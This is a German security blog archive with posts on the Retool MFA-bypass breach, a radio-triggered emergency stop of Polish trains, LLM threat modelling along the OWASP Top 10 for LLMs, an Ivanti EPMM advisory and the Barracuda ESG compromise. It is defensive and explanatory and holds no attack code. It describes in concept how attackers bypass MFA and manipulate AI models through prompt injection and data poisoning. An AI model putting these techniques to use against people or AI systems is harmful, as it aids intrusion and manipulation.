Kategorie: Schwachstelle

Schwachstelle

Es ist nicht immer MFA, wenn MFA draufsteht.

Am 27. August wurde die Firma Retool, der Anbieter einer Low-Code-Entwicklungsplattform, Opfer eines Social-Engineering-Angriffs. Dank der im April eingeführten Synchronisationsfunktion der Google-Authenticator-App konnten Angreifer die Multi-Faktor-Authentifizierung (MFA) zu einer Single-Faktor-Authentifizierung downgraden und sich so Zugriff zum Retool-Netzwerk verschaffen.

Der initiale Eindringvektor der Angreifer war ein Smishing-Angriff (Phishing über SMS-Textnachrichten) an mehrere Retool-Mitarbeiter. Ein Mitarbeiter ist dem Aufruf der Nachricht gefolgt und hat seine Zugangsdaten auf einem gefälschten Log-in-Portal eingegeben. Da Retool MFA verwendet, erhielten die Angreifer mit den Zugangsdaten allein jedoch noch keinen Zugriff zu den Accounts oder dem Retool-Netzwerk. Daher starteten sie einen gut vorbereiteten Vishing-Anruf (Phishing über Telefon) gegen den Mitarbeiter und konnten diesem auch einen Code für die Multi-Faktor-Authentifizierung entlocken.

Die Angreifer verwendeten die Zugangsdaten und den MFA-Code, um ihr Gerät mit dem SSO-Konto des Mitarbeiters zu verbinden und u. a. Zugriff zu seinem Google-Konto zu erhalten. Dies erwies sich als verheerend, da Google seine in der Google-Authenticator-App generierten MFA-Codes seit April 2023 automatisch mit dem Google-Konto synchronisiert. Die Angreifer konnten nun die MFA-Codes, welche z. B. bei der Verbindung mit dem Retool-VPN oder den Verwaltungssystemen benötigt wurden, einfach aus dem Google-Konto des kompromittierten Mitarbeiters auslesen. Effektiv wurde die Multi-Faktor-Authentifizierung (MFA) dadurch zu einer Single-Faktor-Authentifizierung herabgestuft.

Unternehmen, welche auf die Google-Authenticator-App setzen, sollten sich bewusst sein, dass die Synchronisationsfunktion standardmäßig aktiv ist. Das Deaktivieren der Funktion ist nur möglich, indem das Google-Konto vollständig von der App entkoppelt wird.

Immer wieder überrascht die Kreativität der Angreifer, mit welcher versucht wird, MFA zu umgehen. Seit Jahren werden bspw. SIM-Swapping-Angriffe dazu genutzt, um über SMS versendete MFA-Codes abzufangen.

Mittels sogenannten MFA-Bombing- oder MFA-Fatigue-Angriffen ist es der Hackergruppe „Lapsus$“ Anfang 2022 gelungen, die MFA von Microsoft und anderen Unternehmen zu umgehen. Bei diesem Angriff werden die betroffene Personen mit MFA-Anfragen überflutet, z. B. um 1 Uhr nachts, in der Hoffnung, dass sie in der Stress-Situation oder versehentlich eine davon akzeptieren.

Einen Phishing-resistenteren MFA-Schutz bieten Sticks oder Android-Smartphones mit Fido bzw. WebAuthn. Der Nachteil dieser Lösung ist, dass der zu schützende Dienst diese unterstützen muss.

https://retool.com/blog/mfa-isnt-mfa/

https://security.googleblog.com/2023/04/google-authenticator-now-supports.html

https://www.golem.de/news/retool-kritisiert-google-authenticator-macht-cyberangriff-erst-richtig-effektiv-2309-177706.html#

https://www.golem.de/news/lapsus-hackergruppe-umgeht-2fa-mit-einfachem-trick-2203-164236.html

Cyberwar, Schwachstelle

Was haben drei Töne mit Informationssicherheit zu tun?

Als am späten Abend des 25. August bei mehreren Zügen der polnischen Bahn PKP plötzlich eine Notbremsung ausgelöst wurde, dachten einige gleich an einen komplexen Cybervorfall. Mehr als 20 Züge wurden zum Halten gebracht, und weitere wurden anschließend aus Sicherheitsgründen gar nicht erst auf die Strecken gelassen.

Die Angreifer mussten sich nicht aufwendig über mehrere Netzgrenzen hinweg bis in die Steuerungstechnik des Bahnnetzes hacken. Der Angriff erfolgte per Funksignal. Eine Folge von drei Tönen auf einer bestimmten Frequenz reichte aus, um die Züge zu stoppen. Dahinter steckt die Sicherheitsmaßnahme (Sicherheit im Sinne von Safety) RADIOSTOP des PKP-Funksystems. Diese Funktion kann an jedem Funkgerät im Zug oder an der Strecke ausgelöst werden und sorgt dafür, dass im Gefahrenfall alle Züge im Empfangsbereich so schnell wie möglich zum Stehen kommen. Bei einem Unfall geht eine sehr große Gefahr von anderen, insbesondere entgegenkommenden Zügen aus – und diese an sichsehr hilfreiche Funktion ermöglicht es, schnell reagieren zu können.

Die Tonfolge ist wohlbekannt und steht sogar in EU-Dokumenten, und die notwendige Funktechnik ist leicht selbst zu bauen. Bei einer Analyse auf der Webseite des Technik-Magazins Wired sprach sich der Sicherheitsforscher Lukasz Olejnik daher dagegen aus, den Vorfall als Cybervorfall zu bewerten. Aber muss ein Cybervorfall sich immer um kompromittierte Computer drehen? Mit den vermutlich selbst zusammengelöteten Funkgeräten, konnten doch auch Schutzziele der Bahn verletzt werden.

Aber andersrum gefragt: Hätten Sie den analogen Zugfunk in Ihre Betrachtungen zur Informationssicherheit einbezogen? Gibt es auch in Ihrem Haus Sicherheitslösungen, die im Gefahrenfall beispielsweise Türen öffnen oder den Serverraum trotz Netzersatzanlage vom Strom trennen?

Wie das polnische Beispiel ausgeht, ist noch offen. Obwohl erste Verdächtige verhaftet und passendes Equipment gefunden wurde, gab es einige Tage lang auch in anderen Landesteilen weitere Vorfälle.

KI/ML, Schwachstelle, Supply Chain

LLMs sind auch nur (schützenswerte) Informationen

Kaum ein Thema in der IT erzeugt derzeit mit ähnlicher Taktrate neue Schlagzeilen wie die aktuelle Entwicklung von sogenannten Large Language Models (LLMs). LLMs stellen eine Variante von künstlichen neuronalen Netzen dar, die auf der Transformer-Architektur basieren. Diese wurde im Artikel „Attention is All You Need“ von Google vorgestellt.

Wie bei allen (Technologie-)Hypes verbreiten und vermischen sich Fakten und Fiktion nahezu ungebremst, was nicht zuletzt durch die unbestreitbar beeindruckenden Fähigkeiten von ChatGPT und Co verstärkt wird. Auch aus Sicht der Informationssicherheit ist die Entwicklung hochgradig spannend, denn für bösartige Akteure ergeben sich neue Kategorien von Schwachstellen und damit Angriffsmöglichkeiten. Gleichzeitig stehen wir diesen Gefahren und der rasanten Entwicklung jedoch nicht hilflos gegenüber. Mit bekannten methodischen Werkzeugen und einem kühlen Kopf lassen sich Bedrohungen ermitteln und Gegenmaßnahmen ableiten.

Schutzziele gelten auch für LLMs

In der Welt der Informationssicherheit und des Datenschutzes sind drei Schutzziele von zentraler Bedeutung: Vertraulichkeit, Verfügbarkeit und Integrität. Diese gelten für alle Arten von Daten und Informationen. LLMs sind wiederum nichts anderes als Informationen in Form von Zahlen in ziemlich großen Matrizen. Dazu gehören sowohl mit gigantischem Ressourcenaufwand trainierte Foundation Models wie GPT-4 (OpenAI), LLaMA (Meta), Claude (Anthropic) und PaLM (Google) mit reglementiertem Zugriff, als auch eine unaufhörlich wachsende Menge an frei verfügbaren Klonen, nutzbar für jeden mit geeigneter Hardware (mit ausreichend Geduld sind selbst handelsübliche Grafikkarten mittlerweile ausreichend).

Bezogen auf LLMs können die Schutzziele der Informationssicherheit wie folgt beschrieben werden:

  • Vertraulichkeit bezieht sich auf den Schutz von Informationen vor unbefugtem Zugriff. Für LLMs bedeutet das, dass die Modelle gleichermaßen geschützt werden müssen, wie die Daten, mit denen sie trainiert wurden. Dies gilt sowohl für die Modelle an sich, als auch für sämtliche Datenflüsse zum Modell (Training) und ausgehend vom Modell (Inferenz bzw. Abfragen). Vergleichbar ist dies mit personenbezogenen Daten, beispielsweise bei einem System zur Verarbeitung medizinischer Daten zwecks Diagnostik. Diese unterliegen höchsten Vertraulichkeitsansprüchen, was sich auch auf verarbeitende KI-Modelle überträgt. Das betrifft nicht nur lokal betriebene Modelle sondern auch Dienste wie ChatGPT, die sich vorbehalten Benutzereingaben per Opt-Out für weitere Trainingsdaten zu verwenden. Dass die Vertraulichkeit damit eindeutig beeinträchtig ist, schlussfolgerte auch Samsung, nachdem Ingenieure geheime Unternehmensdaten in den Chatbot von OpenAI eingegeben hatten.
  • Verfügbarkeit stellt sicher, dass autorisierte Benutzer in einem angemessenen Zeitrahmen Zugriff auf die benötigten Informationen haben. Im Kontext von LLMs bedeutet das, dass die Modelle immer dann verfügbar sein müssen, wenn sie benötigt werden. Wird ein eigens trainiertes LLM im Rahmen eines wichtigen oder sogar kritischen Prozesses verwendet, sollte sichergestellt sein, dass es Sicherungskopien und Redundanzen gibt. Andernfalls können Ausfälle oder Verzögerungen von mehreren Tagen bis Wochen entstehen, um das Modell von Grund auf neu zu trainieren. Hinzu kommen die teilweise enormen Kosten durch die benötigte Rechenleistung. Auch eine Auslagerung in Cloud-Dienste löst dieses Problem nicht vollständig. Beispielsweise in der Finanzbranche gelten hohe Ansprüche an die Verfügbarkeit.
  • Integrität bezieht sich auf die Richtigkeit und Vollständigkeit von Informationen. An dieser Stelle sei das bekannte Problem von LLMs, Dinge zu „halluzinieren“ kurz außer Acht gelassen. Grundlegend ist es wichtig, dass die Modelle und ihre Trainingsdaten vor Manipulationen geschützt sind. Jede Änderung der Daten oder des Modells könnte das Verhalten des LLMs beeinflussen und zu unerwünschten oder sogar schädlichen Ergebnissen führen. Dieses Problem betrifft allerdings nicht nur LLMs oder neuronale Netze, sondern auch die Auswertung von Daten allgemein und ist ein hartnäckiges Problem. Spätestens wenn auf Basis der gelieferten Ergebnisse von KI-Modellen Entscheidungen getroffen werden, die sich auf einzelne Personen oder Personengruppen auswirken, muss die Integrität der involvierten Daten gewährleistet sein.
Halluzinierende LLMs?

Halluzinationen im Kontext von LLMs bezeichnen die Eigenschaft, dass die Modelle Lücken in den Trainingsdaten mit plausibel klingenden aber falschen Aussagen überdecken. Menschen wissen, dass sie vieles nicht wissen und sind in der Lage, Wissenslücken als solche zu identifizieren und mit einem einfachen „weiß ich nicht“ zu quittieren. LLMs besitzen nicht die Möglichkeiten für solche kognitiven Tricks und sind darauf trainiert, immer hilfsbereit zu sein und eine positive Antwort zu liefern. Da diese Angewohnheit für viele Anwendungsfälle einer sicheren und zuverlässigen Nutzbarkeit im Weg steht, wird aktiv an dem Problem geforscht. Derzeit ist allerdings unklar, ob und mit welchen Methoden eine Lösung möglich ist. Zumal das Verhalten für kreative Zwecke wiederum nicht unerwünscht ist.

Auf dieser Ebene betrachtet, können und müssen für die Nutzung aber auch Absicherung von LLMs mindestens klassische Sicherheitsmaßnahmen wie Verschlüsselung, Backups und Redundanzen sowie Zugriffskontrollen ergriffen werden. Am einfachsten ist der Vergleich mit typischen Wissens- und Informationsspeichern von Organisationen und Unternehmen, seien es IAM-Systeme, Fileshares, Source-Code-Verwaltung, CRM-Plattformen, Dokumentenverwaltung, Wikis und vieles mehr. Letztlich die gesamte digitale Landschaft, welche zur Erbringung der Geschäftsprozesse benötigt wird. Denn gute Informationssicherheit verfolgt grundlegend einen ganzheitlichen Ansatz.

Typische Bedrohungen in der Informationssicherheit

Um für solche digitalen Landschaften die relevanten Bedrohungen und geeigneten Sicherheitsmaßnahmen zu ermitteln, gibt es verschiedene Wege. Als Grundlage für Risikoanalysen hat das Bundesamt für Sicherheit in der Informationstechnik (BSI) als Teil des IT-Grundschutzes einen Katalog von elementaren Gefährdungen erstellt. Dieser enthält typische Bedrohungen, die von Umweltereignissen über versehentliche Fehlhandlung bis hin zu Schadsoftware reichen. Während nicht alle davon direkt auf LLMs anwendbar sind, können einige jedoch als Ausgangspunkt dienen, beispielsweise der Ausfall von Kommunikationsnetzen, die Manipulation von Informationen oder auch die unberechtigte Nutzung von Systemen. Zur Inspiration sind folgend einige konkrete Beispiele aufgeführt:

Beispielhafte elementare Gefährdungen mit Bezug zu LLMs
  • G0.9 Ausfall von Kommunikationsnetzen: Besteht keine Verbindung, sei es zur Cloud oder dem eigenen Rechenzentrum in dem ein LLM betrieben wird, kann es nicht genutzt werden und die Verfügbarkeit ist beeinträchtigt.
  • G0.11 Ausfall oder Störung von Dienstleistern: Wird der Betrieb einem Dienstleister übertragen, sei es in Form von Rechenzentrumskapazitäten oder SaaS-Produkten, besteht eine Abhängigkeit, die beim Ausfall oder einer Störung zur Beeinträchtigung der Verfügbarkeit führt.
  • G0.14 Ausspähen von Informationen (Spionage): Hier wird eindeutig die Vertraulichkeit beeinträchtigt. Die Bedrohung umfasst explizit auch die Möglichkeit, dass einzelne öffentlich verfügbare unverfängliche Informationen zusammengetragen werden und dadurch erst eine kompromittierende Wirkung entfalten. Genau dies kann bei großen Trainingsdatensätzen der Fall sein.
  • G 0.20 Informationen oder Produkte aus unzuverlässiger Quelle: Die Vielfalt sowohl von Trainingsdatensätzen als auch vortrainierten Modellen ist bereits heute gigantisch. Plattformen wie HuggingFace bieten Möglichkeiten zum Austausch von Datensätzen, Modellen und mehr. Dadurch ergeben sich ähnliche Gefahren, die für verschiedene Arten von Software- und Paket-Quellen in den letzten Jahren zu weitreichenden Auswirkungen geführt haben. Am bekanntesten sind Vorfälle des NodeJS-Paketmanagers NPM oder das Python-Äquivalent PyPI. Angreifer haben dabei Besitz von weitverbreiteten Paketen erlangt und Schadcode eingefügt oder Pakete mit ähnlich klingenden Namen genutzt, um unvorsichtige Benutzer anzugreifen. Je nach Ausprägung des Schadcodes sind demnach alle Schutzziele betroffen: Vertraulichkeit, Verfügbarkeit und Integrität. Diese Angriffe gelten auch aus Supply-Chain-Angriffe und wurden für LLMs bereits erfolgreich demonstriert.
  • G 0.22 Manipulation von Informationen: Wie oben zum Schutzziel der Integrität bereits erläutert, ist die Qualität und Korrektheit von Trainingsdaten eine Grundvoraussetzung für die Zuverlässigkeit der LLMs. Gelingt es Angreifern diese in den Originalquellen oder auch im vorbereiteten Trainingsdatensatz zu manipulieren, kann dies zu falschen oder irreführenden Entscheidungen und Aussagen im Sinne der Angreifer führen. Unabhängig davon, ob es dadurch zu unerwünschten Unternehmensentscheidungen oder der Verbreitung von Desinformationen kommt, ist die Integrität entsprechend beeinträchtigt. Eine weitere konkrete Gefahr ergibt sich durch die Auslagerung des Trainings an externe Dienstleister. Diese können durch Manipulation der Trainingsdaten Hintertüren in den Modellen einschleusen, die sich nach aktuellem Stand nicht zuverlässig entdecken lassen.
  • G 0.28 Software-Schwachstellen oder -Fehler: Die Software-Projekte rund um LLMs sind in der Transitionsphase von Forschungsprojekten zu marktreifen Produkten. Der Drang möglichst schnell fertige Produkte anbieten zu können, führt häufig zu Entwicklungspraktiken, die nicht den Best Practices folgen und Schwachstellen verursachen. Die konkreten Auswirkungen sind abhängig von der Art der Schwachstelle. Gemessen an der potenziellen Angriffsoberfläche (interaktive Benutzereingaben, Verarbeitung von strukturierten und unstrukturierten Inhalten, komplexe Rollen- und Rechtekonzepte für die umliegenden Anwendungen usw.) sind von Informationslecks bis hin zur Übernahme der involvierten Systeme durch Angreifer alle Auswirkungen denkbar. Entsprechend sind auch alle Schutzziele – Vertraulichkeit, Verfügbarkeit und Integrität – betroffen.
  • G 0.29 Verstoß gegen Gesetze oder Regelungen: Zwar fällt der Bezug zu einem einzelnen Schutzziel schwer, jedoch ist die Bedrohung dafür nicht weniger relevant. Viele Aspekte rund um Datenschutz und Urheberrecht sind im Kontext von LLMs derzeit unklar. Einige Unternehmen handeln vorzeitig, in dem große Datenmengen gesammelt und zu Trainingszwecken verarbeitet werden, ohne die konkreten Quellen und etwaige Lizenzhinweise anzugeben bzw. zu beachten. Dies geschieht in der Hoffnung, durch Lobbyarbeit und starke Medienpräsenz ausstehende Gesetzgebungen oder rechtliche Entscheidungen zu beeinflussen. Eine Einstellung, die Meta (ehemals Facebook) in der Vergangenheit teuer zu stehen gekommen ist.

Auf der Basis solch relevanter Bedrohungen kann im Prinzip eine vollständige Risikoanalyse nach IT-Grundschutz durchgeführt werden, welche die Bedrohungslage beim Einsatz von LLMs oder KI-Modellen jeder Art erfasst. Die dafür benötigte Infrastruktur sollte dabei gleich mit betrachtet werden, unabhängig ob Cloud oder On-Premise. Es gilt dabei, sich bewusst Gedanken über das Einsatzumfeld und den Anwendungsfall zu machen. Mit dieser Informationsgrundlage gestaltet sich auch die Ableitung relevanter Sicherheitsmaßnahmen wesentlich einfacher und zielgerichteter.

Spezielle Schwachstellen von LLMs

Der zuvor beschriebene klassische und zum Teil recht abstrakte Ansatz kann mit konkreten Schwachstellenkategorien für LLMs ergänzt bzw. kombiniert werden. Das „Open Web Application Security Project“ (OWASP) stellt eine solche Auflistung von Schwachstellen bereits seit langer Zeit für Web-Applikationen in den OWASP Top 10 zusammen. Ein entsprechendes Pendant speziell für LLMs wurde zum 01.08.2023 veröffentlicht.

Die Top 10 umfassen dabei an erster Stelle Prompt Injections. Die namentliche Ähnlichkeit zur klassischen SQL Injection ist kein Zufall. Um LLMs, insbesondere im Rahmen von interaktiven Chats, daran zu hindern unerwünschte Inhalte von sich zu geben, werden der Benutzereingabe verschiedene Instruktionen vorangestellt. Prompt Injections zielen darauf ab, diese Instruktionen auszuhebeln. Besonders bekannt geworden ist dies bei der Veröffentlichung des Chatbots von Bing. Die Auswirkungen sind in einem lesenswerten Blogbeitrag von Simon Willison dargestellt.

Die konkreten Schwachstellen-Kategorien weisen dabei Ähnlichkeiten bzw. auch direkte Zusammenhänge auf, sowohl zu den OWASP Top 10 Schwachstellen von Web-Anwendungen, als auch zu den weiter oben aufgeführten elementaren Gefährdungen des IT-Grundschutzes. Grund dafür ist schlichtweg, dass LLMs von den gleichen Arten von Schwachstellen betroffen sind wie der Großteil aller informationsverarbeitenden Systeme. Die primären Unterschiede liegen in den konkreten Ausprägungen und entsprechend den zugehörigen Gegenmaßnahmen.

Übersicht der OWASP Top 10 für LLMs
  • LLM01 Prompt Injection: Mittels direkter oder indirekter Manipulation der Eingaben bzw. Prompts werden ungewollte Verhaltensweisen ausgelöst. Exemplarisch dafür ist die Ausgabe von beleidigenden, verleumderischen oder verbotenen Inhalte (Anleitungen zur Herstellung gefährlicher Stoffe o.ä.). Je nach Verwendungszweck der Ausgabe, beispielsweise zur Feststellung von Kreditwürdigkeiten, Auswertung von Anträgen und Verträgen oder anderen automatisierten Entscheidungen können die Konsequenzen entsprechend gravierend ausfallen.
  • LLM02 Insecure Output Handling: Die Ausgaben von LLMs können nicht nur Fließtext, sondern auch strukturierte Daten beinhalten. Werden diese ungefiltert übernommen, können in den nachgelagerten Systemen klassische Schwachstellen wie Cross-Site-Scripting (XSS) oder sogar Remote Code Execution (RCE) ausgelöst werden.
  • LLM03 Training Data Poisoning: Wenn die Trainingsdaten für ein LLM durch Angreifer manipuliert, sprich „vergiftet“ werden können, sind ungewollte Verhaltensweisen und Ausgaben die Folge. Die Auswirkungen können ähnlich wie bei Prompt Injection ausfallen. Je nach Ausprägung können Angreifer auch bestimmte Schlüsselwörter in die Trainingsdaten einschleusen, wodurch nur bei Abfrage bestimmter Informationen voreingenommene und unethische Ergebnissen geliefert werden.
  • LLM04 Model Denial of Service: Dies ist das LLM-Gegenstück zu klassischen Denial-of-Service-Angriffen (DoS). Das Training aber auch die Inferenz (die Erzeugung von Ausgaben) sind zumindest aktuell noch sehr ressourcen- und damit kostenintensiv. Hinzu kommt, dass zwischen der Länge der Benutzereingabe und der Ausgabe keine direkte Relation besteht. Angreifer können dies nutzen, um hohe Kosten zu verursachen oder die vorhandenen Kapazitäten so auszulasten, dass eine normale Benutzung beeinträchtigt wird.
  • LLM05 Supply Chain Vulnerabilities: Um LLMs herum entwickelt sich ein umfangreiches und weit verzweigtes Ökosystem von Modellen, Datensätzen, Algorithmen, Ausführungsumgebungen und mehr. Werden die Bezugsquellen nicht geprüft oder sind nicht ohne weiteres überprüfbar, besteht die Gefahr, dass Angreifer in dieses Ökosystem schadhafte Inhalte einbringen, die unbemerkt übernommen werden und weite Verbreitung finden.
  • LLM06 Sensitive Information Disclosure: Durch unzureichend bereinigte Trainingsdaten sowie die Aggregation verschiedenster Datenquellen entsteht die Gefahr, dass vertrauliche Daten preisgegeben werden. Werden beispielsweise interne Code-Repositories und Dokumentationen zum Training genutzt, könnten API-Schlüssel und Zugangsdaten enthalten sein die über das Modell ungewollt abfragbar sind.
  • LLM07 Insecure Plugin Design: Um LLMs mit zusätzlichen Fähigkeiten auszustatten, werden Plugins verwendet. Diese ermöglichen die Suche im Internet, den Aufruf von Programmen bspw. zur Lösung mathematischer Gleichungen, die Interaktion mit APIs und vieles mehr. Die Idee ist, dass die LLMs selbst entscheiden, welche Werkzeuge für die gestellte Aufgabe genutzt werden. Sind die Zugriffsrechte sowie Ein- und Ausgabemöglichkeiten unsauber definiert bzw. abgegrenzt, bestehen indirekte Angriffsmöglichkeiten auf diese Plugins und die Daten, auf welche diese wiederum Zugriff haben. Des Weiteren besteht die Gefahr, dass Plugins auf externe Quellen zugreifen und bösartige Inhalte an das LLM zurückliefern. Werden diese Inhalte nicht genauso stringent geprüft und validiert wie andere Benutzereingaben, sind auch dadurch indirekte Angriffe möglich.
  • LLM08 Excessive Agency: Insbesondere bei der Nutzung von Plugins und anderen potenziell rekursiven Mechanismen – also LLMs die ihre Ausgaben wieder als Eingaben verwenden – müssen sinnvolle Einschränkungen definiert werden. Abhängig von konkreten Einsatzzwecken und Plugins können anderenfalls vielfältige Auswirkungen die Folge sein. Beispielsweise könnte ein LLM das mit APIs oder Datenbanken interagieren kann, zum unbefugten Anlegen, Ändern und Löschen von Daten verleitet werden.
  • LLM09 Overreliance: Werden LLMs übermäßig zur Entscheidungsfindung oder Erstellung von Inhalten genutzt, besteht die Gefahr darüber Falschinformationen zu verbreiten oder falsche Entscheidungen mit gravierenden Folgen zu treffen. Ein konkretes Beispiel ist die Nutzung bei der Software-Entwicklung. Wird der erzeugte Quelltext ungeprüft übernommen, besteht die Gefahr, dass unerkannte Schwachstellen in produktiv genutzten Anwendungen und Web-Applikationen einfließen. Pauschalisiert ausgedrückt: Die Korrektheit der Ergebnisse von LLMs kann nur von Menschen geprüft werden, welche die korrekten Ergebnisse auch selbst erzeugen könnten. Wer zu einem bestimmten Thema nichts weiß, kann Aussagen ohne externe Referenzen nicht validieren.
  • LLM10 Model Theft: Die eigentlichen Date, aus denen das Modell besteht, inklusive Konfigurationsparameter, beinhalten eine Repräsentation der Informationen mit denen es trainiert wurde. Für interne Zwecke auf Unternehmensdaten trainierte LLMs beinhalten demnach eine große Menge vertraulicher Daten. Gelingt es einem Angreifer das Modell zu entwenden, wird entsprechend auch die Vertraulichkeit der Trainingsdaten beeinträchtigt. Demnach muss der Zugriff auf die eigentlichen Modelle sowie die Trainingsdaten und deren Quellen mindestens genauso strikt geregelt werden.

Sicherheitsmaßnahmen

Die bisherigen Schritte liefern ein Fundament zur Ableitung von Sicherheitsmaßnahmen im Umgang mit LLMs. Die genauen Maßnahmen hängen von den konkret ermittelten Bedrohungen und der Ausprägung der Nutzung ab. Ist es „nur“ ein SaaS-Dienst, in dem Trainingsdaten hochgeladen werden und im Anschluss eine abstrahierte Modell-Interaktion möglich ist? Wird ein fertiges Produkt On-Premise verwendet? Soll eine interne Informationsplattform oder gar ein kommerzielles Produkt entwickelt werden?

Auch hier gibt es hilfreiche Informationen, die zurate gezogen werden können. Bezogen auf den oben erwähnten IT-Grundschutz bietet das BSI mit dem IT-Grundschutz-Kompendium eine Sammlung von Bausteinen und Sicherheitsanforderungen für organisatorische Prozesse bis hin zu einzelnen Arten von IT-Systemen. Diese können zwar auf die zugrundliegenden Systeme, Infrastrukturen und Prozesse angewendet werden, haben jedoch nicht direkt etwas mit LLMs oder KI-Modellen zu tun.

Spezifischer hingegen ist das oben genannte OWASP-Projekt, welches auch die OWASP Top 10 für LLMs zusammengestellt hat. In einem weiterführenden Dokument werden neben detaillierten Informationen und Beispielen zu den Schwachstellen auch konkrete Gegenmaßnahmen aufgelistet.

Es ist zudem davon auszugehen, dass sich im Laufe der Zeit Muster und Best Practices herauskristallisieren, die es erlauben stärker und genauer auf Sicherheitsaspekte und -maßnahmen einzugehen, als dies aktuell noch möglich ist. Bis dahin erlauben die hier dargestellten Informationen und Grundlagen eine Möglichkeit, dennoch strukturiert und ganzheitlich die Informationssicherheit beim Einsatz von LLMs einzubeziehen.

Fazit

Wir hoffen die obigen Ausführungen vermitteln, dass trotz aller Entwicklungen und atemberaubender Schlagzeilen auch LLMs letztlich „nur“ informationsverarbeitende Systeme sind. Entsprechend gelten grundlegend die gleichen Bedrohungen, die wiederum mit bewährten und bekannten Methoden erfasst, bewertet und behandelt werden können. Gepaart mit der Betrachtung spezieller Schwachstellen ergeben sich Werkzeuge, mit denen sich proaktive Informationssicherheit und Security by Design-Prinzipien auf LLMs und Co anwenden lassen.

All dies soll nicht darüber hinwegtäuschen, dass KI-Technologien sich weiterhin und in absehbarer Zukunft stark weiterentwickeln werden. Entsprechend wird sich auch die Sicherheitslage wandeln, wie es für die gesamte IT-Branche seit jeher der Fall ist. Der Einsatz neuer Technologien ist nicht frei von Risiken. Diese sollten daher sorgsam bewertet und gemeinsam mit entsprechenden Sicherheitsmaßnahmen dem tatsächlichen Nutzen für den eigenen Anwendungsfall gegenüber gestellt werden.

Eines ist allerdings klar, es bleibt spannend!

HiSolutions Research
Advisories, Cyberwar, Incidents, Schwachstelle, Zeroday

Eine 10 von 10 – Ivanti CVE-2023‑35078 – Hilfe zur Selbsthilfe

Update vom 10.08.2023:

Für Ivanti Endpoint Manager Mobile (EPMM) wurde am 03.08.2023 eine weitere Schwachstelle (CVE‑2023-35082) mit einer CVSS-Bewertung von 10.0 veröffentlicht. Die Schwachstelle ist ähnlich zu der initial veröffentlichen CVE-2023-35078. Am 07.08.2023 hat Invanti veröffentlicht, dass diese Schwachstelle alle Versionen von EPMM betrifft. Die Maßnahmen zum Schließen der Schwachstelle und einer Identifizierung eines Angriffs wurden in dem Dokument „Hilfe zur Selbsthilfe – CVE‑2023‑35078“ ergänzt.

Update vom 01.08.2023:

Auf Basis der bereits veröffentlichten Expoits konnte der String zur Identifizierung eines Angriffs genauer bestimmt werden. Diese finden Sie in dem Dokument „Hilfe zur Selbsthilfe – CVE-2023 35078“ unter dem Punkt 2.

Update vom 31.07.2023:

Seit dem Wochenende gibt es die ersten öffentlichen Proof of Concept Exploits auf GitHub. Die teilweise in Python geschriebenen Programme ermöglichen eine automatische Ausnutzung der Ivanti Schwachstelle CVE-2023-35078.

Zusätzlich wurde am 28.07.2023 von Ivanti eine weitere Sicherheitslücke (CVE-2023-35081) publiziert. Hierbei handelt es sich um eine Schwachstelle welche es dem Angreifer erlaubt als authentifizierten Administrator beliebige Schreibvorgänge auf dem EPMM-Server durchzuführen.

Am 24. Juli 2023 hat der Hersteller Ivanti Informationen zu der Sicherheitslücke CVE-2023‑35078  veröffentlicht. Die Schwachstelle betrifft die Software „Ivanti Endpoint Manager Mobile“ (EPMM), auch bekannt als MobileIron Core. Um unseren Kunden eine Möglichkeit zu geben, erste Maßnahmen zu ergreifen und ihre Systeme zu prüfen, haben wir einen Leitfaden „Hilfe zur Selbsthilfe – CVE-2023‑35078“ erstellt. Der Leitfaden kombiniert die öffentlichen Informationen der staatlichen Sicherheitsbehörden, Fach-Blogs und die Angaben des Herstellers mit der Expertise der HiSolutions.

Sollten Sie Ivanti bzw. MobileIron Core nutzen, prüfen Sie bitte anhand des Dokuments, ob Sie alle relevanten Maßnahmen ergriffen haben.

HINWEIS: Das Dokument wird laufend aktualisiert. Bitte achten Sie daher auch auf weitere Veröffentlichungen auf unserem Research-Blog. Weitere Informationen und Cybersicherheitswarnungen erhalten Sie auch beim Bundesamt für Sicherheit in der Informationstechnik (BSI) unter https://www.bsi.bund.de/SiteGlobals/Forms/Suche/BSI/Sicherheitswarnungen/Sicherheitswarnungen_Formular.html

HiSolutions-Selbsthilfe-CVE-2023-35078-1Herunterladen
Schwachstelle

Wenn die Sicherheitsappliance die Lücke ist

Im Mai ist eine Sicherheitslücke in der Barracuda ESG Appliance bekannt geworden, die bereits aktiv ausgenutzt wurde. Mit dem Email Security Gateway (ESG) können eingehende und ausgehende Mails auf Spam und Schadsoftware geprüft werden. Damit wird also eine typische Sicherheitsmaßnahme umgesetzt, um unerwünschte Mails und deren Anhänge gar nicht erst bis zu den Nutzern gelangen zu lassen. Noch sind nicht alle Details abschließend bekannt, aber es gibt bereits einige Denkanstöße, die auch für nicht direkt Betroffene abgeleitet werden können.

Der Hersteller empfiehlt, kompromittierte Geräte nicht weiter zu nutzen. Selbst nach einem Firmware-Update ist ihr Betrieb nicht mehr sicher, und die Geräte sollten ausgetauscht werden. Für eine virtuelle Appliance ist der Austausch einer VM leicht umgesetzt – hier muss dann „nur“, wie immer beim Neuaufsetzen nach einem Vorfall, die Konfiguration wiederhergestellt werden. Die ESG gibt es allerdings auch als physisches Gerät, und in diesem Fall muss sie tatsächlich ausgewechselt werden. Das Wiedereinspielen von virtuellen Appliances und das Neuaufsetzen von Systemen haben Sie sicher in Ihrer Notfallplanung. Aber wie gut sind Sie vorbereitet, wenn Netzwerkgeräte ausgetauscht werden müssen?

So ein Austausch benötigt logistischen Vorlauf, und dann kommt direkt eine Frage auf, auf die es keine gute Antwort gibt: Was machen wir zwischenzeitlich mit unseren Mails? Lassen wir die Appliance weiterlaufen mit dem Risiko, dass der Angreifer jetzt die letzte Chance nutzt, um sich von dort ins interne Netzwerk weiterzuhangeln (über die notwendigen Accounts und Netzwerkzugänge verfügt die Appliance typischerweise)? Schalten wir die Appliance ab und lassen die Mails ungefiltert auf unsere Nutzer einströmen – mit dem Risiko, dass jetzt doch jemand auf Phishing hereinfällt oder

sogar einen Malware-Anhang ausführt? Schalten wir so lange die gesamte Mailkommunikation ab und riskieren, dass Mails verloren gehen oder fehlende zeitkritische Informationen dem Geschäft schaden?

